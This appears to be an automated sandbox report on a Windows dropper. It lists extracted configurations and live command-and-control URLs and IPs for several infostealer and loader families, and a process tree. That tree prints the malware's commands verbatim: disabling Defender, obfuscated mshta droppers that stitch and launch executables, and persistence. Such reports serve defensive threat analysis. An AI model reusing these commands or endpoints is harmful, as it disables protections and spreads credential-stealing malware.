Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    19/11/2021, 16:12

General

  • Target

    a9650583455ebb93e83a9e841bcec75e.exe

  • Size

    8.8MB

  • MD5

    a9650583455ebb93e83a9e841bcec75e

  • SHA1

    03afe4d56dd1260daeb971e8012e9c7859d6dcec

  • SHA256

    8e2a3c9ab42314166d930089fbf7ff245d528394fea1ad413bb8362b2aa6cbd5

  • SHA512

    7d68472be5f7b06f5090613e6f0127c00cbb31aa0afca6d1883d56ecae6417bdae861ac51937fb557152fd656098dfea83e8bb7b4d2b9e26e9b77354d6e661b1

Malware Config

Extracted

Family

socelars

C2

http://www.hhgenice.top/

Extracted

Family

amadey

Version

2.82

C2

185.215.113.45/g4MbvE/index.php

Extracted

Family

smokeloader

Version

2020

C2

http://membro.at/upload/

http://jeevanpunetha.com/upload/

http://misipu.cn/upload/

http://zavodooo.ru/upload/

http://targiko.ru/upload/

http://vues3d.com/upload/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

media14111

C2

91.121.67.60:51630

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

vidar

Version

48.3

Botnet

933

Attributes
  • profile_id

    933

Extracted

Family

raccoon

Version

1.8.3-hotfix

Botnet

1c8f6a44843df90acc18419a2f54cfc1f7304cf0

Attributes
  • url4cnc

    http://91.219.236.27/rockyrocket11

    http://5.181.156.92/rockyrocket11

    http://91.219.236.207/rockyrocket11

    http://185.225.19.18/rockyrocket11

    http://91.219.237.227/rockyrocket11

    https://t.me/rockyrocket11

rc4.plain
rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 5 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Vidar Stealer 2 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 45 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 16 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:464
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:876
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {F3C22136-34D6-4335-8D0D-FFF44C97C1DC} S-1-5-21-2955169046-2371869340-1800780948-1000:UKNHJUQT\Admin:Interactive:[1]
          3⤵
            PID:1708
            • C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe
              C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe
              4⤵
              • Executes dropped EXE
              PID:2884
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k SystemNetworkService
          2⤵
          • Drops file in System32 directory
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          • Modifies registry class
          PID:2724
      • C:\Users\Admin\AppData\Local\Temp\a9650583455ebb93e83a9e841bcec75e.exe
        "C:\Users\Admin\AppData\Local\Temp\a9650583455ebb93e83a9e841bcec75e.exe"
        1⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:460
        • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\setup_install.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1484
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1784
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1768
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1656
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1876
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Mon0365c8b0f4c4ee5.exe
            3⤵
            • Loads dropped DLL
            PID:1384
            • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon0365c8b0f4c4ee5.exe
              Mon0365c8b0f4c4ee5.exe
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:520
              • C:\Users\Admin\AppData\Local\Temp\is-FCJ1O.tmp\Mon0365c8b0f4c4ee5.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-FCJ1O.tmp\Mon0365c8b0f4c4ee5.tmp" /SL5="$1015C,1104945,831488,C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon0365c8b0f4c4ee5.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: GetForegroundWindowSpam
                PID:1596
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Mon03427abf6d.exe /mixtwo
            3⤵
            • Loads dropped DLL
            PID:1528
            • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03427abf6d.exe
              Mon03427abf6d.exe /mixtwo
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:1344
              • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03427abf6d.exe
                Mon03427abf6d.exe /mixtwo
                5⤵
                • Executes dropped EXE
                PID:1684
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Mon0319a210ba43.exe
            3⤵
            • Loads dropped DLL
            PID:1996
            • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon0319a210ba43.exe
              Mon0319a210ba43.exe
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Modifies system certificate store
              • Suspicious use of AdjustPrivilegeToken
              PID:2000
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c taskkill /f /im chrome.exe
                5⤵
                  PID:2468
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /f /im chrome.exe
                    6⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2508
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Mon0360a704d3e8dbf7.exe
              3⤵
                PID:1368
                • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon0360a704d3e8dbf7.exe
                  Mon0360a704d3e8dbf7.exe
                  4⤵
                  • Executes dropped EXE
                  PID:2256
                  • C:\Users\Admin\AppData\Local\Temp\is-N7HO6.tmp\Mon0360a704d3e8dbf7.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-N7HO6.tmp\Mon0360a704d3e8dbf7.tmp" /SL5="$202AE,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon0360a704d3e8dbf7.exe"
                    5⤵
                    • Executes dropped EXE
                    PID:932
                    • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon0360a704d3e8dbf7.exe
                      "C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon0360a704d3e8dbf7.exe" /SILENT
                      6⤵
                      • Executes dropped EXE
                      PID:2220
                      • C:\Users\Admin\AppData\Local\Temp\is-IG4FA.tmp\Mon0360a704d3e8dbf7.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-IG4FA.tmp\Mon0360a704d3e8dbf7.tmp" /SL5="$302AA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon0360a704d3e8dbf7.exe" /SILENT
                        7⤵
                        • Executes dropped EXE
                        PID:2704
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Mon03d682baddfde24a.exe
                3⤵
                • Loads dropped DLL
                PID:1748
                • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03d682baddfde24a.exe
                  Mon03d682baddfde24a.exe
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of AdjustPrivilegeToken
                  PID:984
                  • C:\Users\Admin\AppData\Roaming\4186133.exe
                    "C:\Users\Admin\AppData\Roaming\4186133.exe"
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:2776
                  • C:\Users\Admin\AppData\Roaming\782367.exe
                    "C:\Users\Admin\AppData\Roaming\782367.exe"
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Adds Run key to start application
                    PID:2804
                    • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:2424
                  • C:\Users\Admin\AppData\Roaming\5173471.exe
                    "C:\Users\Admin\AppData\Roaming\5173471.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2860
                    • C:\Users\Admin\AppData\Roaming\6766467.exe
                      "C:\Users\Admin\AppData\Roaming\6766467.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:1996
                      • C:\Windows\SysWOW64\mshta.exe
                        "C:\Windows\System32\mshta.exe" VBsCRIPT: cLoSE ( cReaTeoBJEcT( "WSCRIpt.shell" ). run ( "CMd.exe /R CopY /Y ""C:\Users\Admin\AppData\Roaming\6766467.exe"" B3KVGUYBU6H8.Exe && STart B3kVGUYBU6H8.ExE -PMifyM2k9jEYOlA~& IF """" == """" for %H In ( ""C:\Users\Admin\AppData\Roaming\6766467.exe"" ) do taskkill -f -IM ""%~NXH"" " , 0 , TruE ) )
                        7⤵
                          PID:900
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /R CopY /Y "C:\Users\Admin\AppData\Roaming\6766467.exe" B3KVGUYBU6H8.Exe && STart B3kVGUYBU6H8.ExE -PMifyM2k9jEYOlA~& IF "" == "" for %H In ( "C:\Users\Admin\AppData\Roaming\6766467.exe" ) do taskkill -f -IM "%~NXH"
                            8⤵
                              PID:2496
                              • C:\Users\Admin\AppData\Local\Temp\B3KVGUYBU6H8.Exe
                                B3kVGUYBU6H8.ExE -PMifyM2k9jEYOlA~
                                9⤵
                                • Executes dropped EXE
                                PID:2596
                                • C:\Windows\SysWOW64\mshta.exe
                                  "C:\Windows\System32\mshta.exe" VBsCRIPT: cLoSE ( cReaTeoBJEcT( "WSCRIpt.shell" ). run ( "CMd.exe /R CopY /Y ""C:\Users\Admin\AppData\Local\Temp\B3KVGUYBU6H8.Exe"" B3KVGUYBU6H8.Exe && STart B3kVGUYBU6H8.ExE -PMifyM2k9jEYOlA~& IF ""-PMifyM2k9jEYOlA~"" == """" for %H In ( ""C:\Users\Admin\AppData\Local\Temp\B3KVGUYBU6H8.Exe"" ) do taskkill -f -IM ""%~NXH"" " , 0 , TruE ) )
                                  10⤵
                                    PID:2820
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /R CopY /Y "C:\Users\Admin\AppData\Local\Temp\B3KVGUYBU6H8.Exe" B3KVGUYBU6H8.Exe && STart B3kVGUYBU6H8.ExE -PMifyM2k9jEYOlA~& IF "-PMifyM2k9jEYOlA~" == "" for %H In ( "C:\Users\Admin\AppData\Local\Temp\B3KVGUYBU6H8.Exe" ) do taskkill -f -IM "%~NXH"
                                      11⤵
                                        PID:984
                                    • C:\Windows\SysWOW64\mshta.exe
                                      "C:\Windows\System32\mshta.exe" VBsCRIPt:CloSe ( CReAteoBjeCt ( "WsCrIPT.sHeLl" ). ruN ( "CMd.ExE /C ECHo | Set /P = ""MZ"" > BK_ULGWs.W & coPY /y /B BK_ULGWS.W + raenh4.11P + Lx4C0.R1v BUURm.E & dEl rAeNH4.11P Lx4C0.R1V BK_UlGWS.W& sTart msiexec /Y .\BUURm.E " , 0 , True ) )
                                      10⤵
                                        PID:1756
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /C ECHo | Set /P = "MZ" >BK_ULGWs.W & coPY /y /B BK_ULGWS.W + raenh4.11P + Lx4C0.R1v BUURm.E & dEl rAeNH4.11P Lx4C0.R1V BK_UlGWS.W& sTart msiexec /Y .\BUURm.E
                                          11⤵
                                            PID:2176
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /S /D /c" ECHo "
                                              12⤵
                                                PID:1092
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>BK_ULGWs.W"
                                                12⤵
                                                  PID:1972
                                                • C:\Windows\SysWOW64\msiexec.exe
                                                  msiexec /Y .\BUURm.E
                                                  12⤵
                                                    PID:2148
                                            • C:\Windows\SysWOW64\taskkill.exe
                                              taskkill -f -IM "6766467.exe"
                                              9⤵
                                              • Kills process with taskkill
                                              PID:2732
                                      • C:\Users\Admin\AppData\Roaming\6851091.exe
                                        "C:\Users\Admin\AppData\Roaming\6851091.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        PID:1704
                                    • C:\Users\Admin\AppData\Roaming\6898497.exe
                                      "C:\Users\Admin\AppData\Roaming\6898497.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      PID:2900
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Mon03bf96baf5344dba9.exe
                                  3⤵
                                    PID:724
                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03bf96baf5344dba9.exe
                                      Mon03bf96baf5344dba9.exe
                                      4⤵
                                      • Executes dropped EXE
                                      PID:3008
                                      • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        PID:3064
                                        • C:\Users\Admin\AppData\Local\Temp\SoftwareInstaller2191.exe
                                          "C:\Users\Admin\AppData\Local\Temp\SoftwareInstaller2191.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          PID:2396
                                        • C:\Users\Admin\AppData\Local\Temp\Worldoffer.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Worldoffer.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          PID:2784
                                        • C:\Users\Admin\AppData\Local\Temp\chrome.exe
                                          "C:\Users\Admin\AppData\Local\Temp\chrome.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          PID:2128
                                        • C:\Users\Admin\AppData\Local\Temp\chrome2.exe
                                          "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          PID:2576
                                        • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                          "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          PID:296
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{l7gK-iHL2s-Htqw-k2WZz}\30856083334.exe"
                                            7⤵
                                              PID:2124
                                              • C:\Users\Admin\AppData\Local\Temp\{l7gK-iHL2s-Htqw-k2WZz}\30856083334.exe
                                                "C:\Users\Admin\AppData\Local\Temp\{l7gK-iHL2s-Htqw-k2WZz}\30856083334.exe"
                                                8⤵
                                                • Executes dropped EXE
                                                PID:1328
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{l7gK-iHL2s-Htqw-k2WZz}\69338914302.exe" /mix
                                              7⤵
                                                PID:2296
                                                • C:\Users\Admin\AppData\Local\Temp\{l7gK-iHL2s-Htqw-k2WZz}\69338914302.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\{l7gK-iHL2s-Htqw-k2WZz}\69338914302.exe" /mix
                                                  8⤵
                                                  • Executes dropped EXE
                                                  • Checks processor information in registry
                                                  PID:2408
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{l7gK-iHL2s-Htqw-k2WZz}\53498636316.exe" /mix
                                                7⤵
                                                  PID:1092
                                                  • C:\Users\Admin\AppData\Local\Temp\{l7gK-iHL2s-Htqw-k2WZz}\53498636316.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\{l7gK-iHL2s-Htqw-k2WZz}\53498636316.exe" /mix
                                                    8⤵
                                                    • Executes dropped EXE
                                                    • Checks processor information in registry
                                                    PID:2076
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
                                                  7⤵
                                                    PID:1560
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /im "setup.exe" /f
                                                      8⤵
                                                      • Kills process with taskkill
                                                      PID:1768
                                                • C:\Users\Admin\AppData\Local\Temp\zhangxue-game.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\zhangxue-game.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  PID:1296
                                                • C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  PID:584
                                                • C:\Users\Admin\AppData\Local\Temp\chrome3.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\chrome3.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  PID:2380
                                                • C:\Users\Admin\AppData\Local\Temp\chrome4.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\chrome4.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  PID:1036
                                                • C:\Users\Admin\AppData\Local\Temp\Chrome5.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  PID:1700
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c Mon037dad19d6f20c.exe
                                            3⤵
                                            • Loads dropped DLL
                                            PID:608
                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon037dad19d6f20c.exe
                                              Mon037dad19d6f20c.exe
                                              4⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              • Checks SCSI registry key(s)
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious behavior: MapViewOfSection
                                              PID:552
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c Mon03bca493cc52d3.exe
                                            3⤵
                                              PID:896
                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03bca493cc52d3.exe
                                                Mon03bca493cc52d3.exe
                                                4⤵
                                                • Executes dropped EXE
                                                PID:3060
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c Mon03ae84ddfc5133f.exe
                                              3⤵
                                              • Loads dropped DLL
                                              PID:1908
                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03ae84ddfc5133f.exe
                                                Mon03ae84ddfc5133f.exe
                                                4⤵
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                PID:1200
                                                • C:\Windows\SysWOW64\mshta.exe
                                                  "C:\Windows\System32\mshta.exe" VBsCriPt: CLose (cReateOBjecT ( "WscRIPt.SHeLl" ). ruN ( "Cmd.Exe /C CopY /y ""C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03ae84ddfc5133f.exe"" ..\tVMwkZKMB.eXe && StARt ..\tVMwKZKMB.exe -pgeMYmiTiVl5osgKF_e &iF """" == """" for %J IN ( ""C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03ae84ddfc5133f.exe"" ) do taskkill -Im ""%~NXJ"" /f", 0 , TrUE ) )
                                                  5⤵
                                                    PID:2044
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /C CopY /y "C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03ae84ddfc5133f.exe" ..\tVMwkZKMB.eXe && StARt ..\tVMwKZKMB.exe -pgeMYmiTiVl5osgKF_e &iF "" == "" for %J IN ( "C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03ae84ddfc5133f.exe" ) do taskkill -Im "%~NXJ" /f
                                                      6⤵
                                                      • Loads dropped DLL
                                                      PID:2136
                                                      • C:\Users\Admin\AppData\Local\Temp\tVMwkZKMB.eXe
                                                        ..\tVMwKZKMB.exe -pgeMYmiTiVl5osgKF_e
                                                        7⤵
                                                        • Executes dropped EXE
                                                        PID:2264
                                                        • C:\Windows\SysWOW64\mshta.exe
                                                          "C:\Windows\System32\mshta.exe" VBsCriPt: CLose (cReateOBjecT ( "WscRIPt.SHeLl" ). ruN ( "Cmd.Exe /C CopY /y ""C:\Users\Admin\AppData\Local\Temp\tVMwkZKMB.eXe"" ..\tVMwkZKMB.eXe && StARt ..\tVMwKZKMB.exe -pgeMYmiTiVl5osgKF_e &iF ""-pgeMYmiTiVl5osgKF_e "" == """" for %J IN ( ""C:\Users\Admin\AppData\Local\Temp\tVMwkZKMB.eXe"" ) do taskkill -Im ""%~NXJ"" /f", 0 , TrUE ) )
                                                          8⤵
                                                            PID:3044
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /C CopY /y "C:\Users\Admin\AppData\Local\Temp\tVMwkZKMB.eXe" ..\tVMwkZKMB.eXe && StARt ..\tVMwKZKMB.exe -pgeMYmiTiVl5osgKF_e &iF "-pgeMYmiTiVl5osgKF_e " == "" for %J IN ( "C:\Users\Admin\AppData\Local\Temp\tVMwkZKMB.eXe" ) do taskkill -Im "%~NXJ" /f
                                                              9⤵
                                                                PID:1400
                                                            • C:\Windows\SysWOW64\mshta.exe
                                                              "C:\Windows\System32\mshta.exe" vbSCript: ClOSE ( CrEAteoBJEct ( "wScRIPt.sheLl" ). run( "cMD /R EcHo | sEt /p = ""MZ"" > kQelab.Q & CopY /B /Y KQElAb.Q + uIONF.ByZ + QXlaHt.aG + Ahk~DH9P.5S + 4MAPYI.7gL + 4Bs7dm.ALG ..\95aAC.4_2 & DEl /q *& sTaRT regsvr32.exe /S ..\95AAc.4_2 " , 0 ,TrUe ) )
                                                              8⤵
                                                                PID:2432
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /R EcHo | sEt /p = "MZ" > kQelab.Q & CopY /B /Y KQElAb.Q + uIONF.ByZ + QXlaHt.aG+ Ahk~DH9P.5S + 4MAPYI.7gL + 4Bs7dm.ALG ..\95aAC.4_2 &DEl /q *& sTaRT regsvr32.exe /S ..\95AAc.4_2
                                                                  9⤵
                                                                    PID:2320
                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                taskkill -Im "Mon03ae84ddfc5133f.exe" /f
                                                                7⤵
                                                                • Kills process with taskkill
                                                                PID:2984
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c Mon03d4568a3971c731.exe
                                                        3⤵
                                                        • Loads dropped DLL
                                                        PID:1812
                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03d4568a3971c731.exe
                                                          Mon03d4568a3971c731.exe
                                                          4⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          PID:536
                                                          • C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe"
                                                            5⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:1992
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2303a34fa8\
                                                              6⤵
                                                                PID:1380
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2303a34fa8\
                                                                  7⤵
                                                                    PID:2168
                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                  "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe" /F
                                                                  6⤵
                                                                  • Creates scheduled task(s)
                                                                  PID:276
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c Mon0388e53b71130a.exe
                                                            3⤵
                                                            • Loads dropped DLL
                                                            PID:1284
                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon0388e53b71130a.exe
                                                              Mon0388e53b71130a.exe
                                                              4⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              PID:1328
                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon0388e53b71130a.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon0388e53b71130a.exe" -u
                                                                5⤵
                                                                • Executes dropped EXE
                                                                • Loads dropped DLL
                                                                PID:1080
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c Mon03b6ff42b6a0c9.exe
                                                            3⤵
                                                            • Loads dropped DLL
                                                            PID:1032
                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03b6ff42b6a0c9.exe
                                                              Mon03b6ff42b6a0c9.exe
                                                              4⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Suspicious use of SetThreadContext
                                                              PID:1612
                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03b6ff42b6a0c9.exe
                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC1E5DF5\Mon03b6ff42b6a0c9.exe
                                                                5⤵
                                                                • Executes dropped EXE
                                                                • Loads dropped DLL
                                                                PID:2360
                                                      • C:\Windows\system32\rundll32.exe
                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                        1⤵
                                                        • Process spawned unexpected child process
                                                        PID:2592
                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                          2⤵
                                                          • Loads dropped DLL
                                                          • Modifies registry class
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2600

                                                      Network

